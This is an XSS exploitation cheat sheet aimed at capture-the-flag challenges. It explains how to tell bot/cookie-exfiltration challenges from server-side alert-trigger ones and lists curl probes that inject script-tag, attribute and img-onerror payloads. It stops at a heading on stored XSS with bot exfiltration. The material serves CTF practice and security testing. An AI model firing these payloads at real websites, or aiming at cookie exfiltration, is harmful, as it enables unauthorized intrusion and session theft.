xss

Cross-Site Scripting (XSS) Exploitation

Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.

Win Condition — Identify FIRST

Pattern A — Bot/Cookie Chain (classic CTF):

• A headless browser bot visits a URL you supply via /report or /contact
• Goal: exfiltrate document.cookie or admin page content to your listener
• Signals: /report endpoint exists, challenge mentions "admin visits", cookie in session

Pattern B — Server-Side Alert Trigger (Cross 30/31/32 series):

• NO bot, NO cookie exfiltration, NO /report endpoint (returns 404)
• The challenge evaluates reflected JS server-side; alert("XSS") or alert(1) in the response = flag
• Flag appears directly in the HTTP response body when alert triggers
• Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag", new_umbrella / error_umbrella in response, alphanumeric filter active
• Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError)

Quick check which pattern:

curl -s "$TARGET/report" -o /dev/null -w "%{http_code}"  # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin"        # Pattern A signals

Detection

# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'

# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test'        # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test"    # JS string context

# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'

# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'

Stored XSS with Bot Exfiltration (CTF Pattern)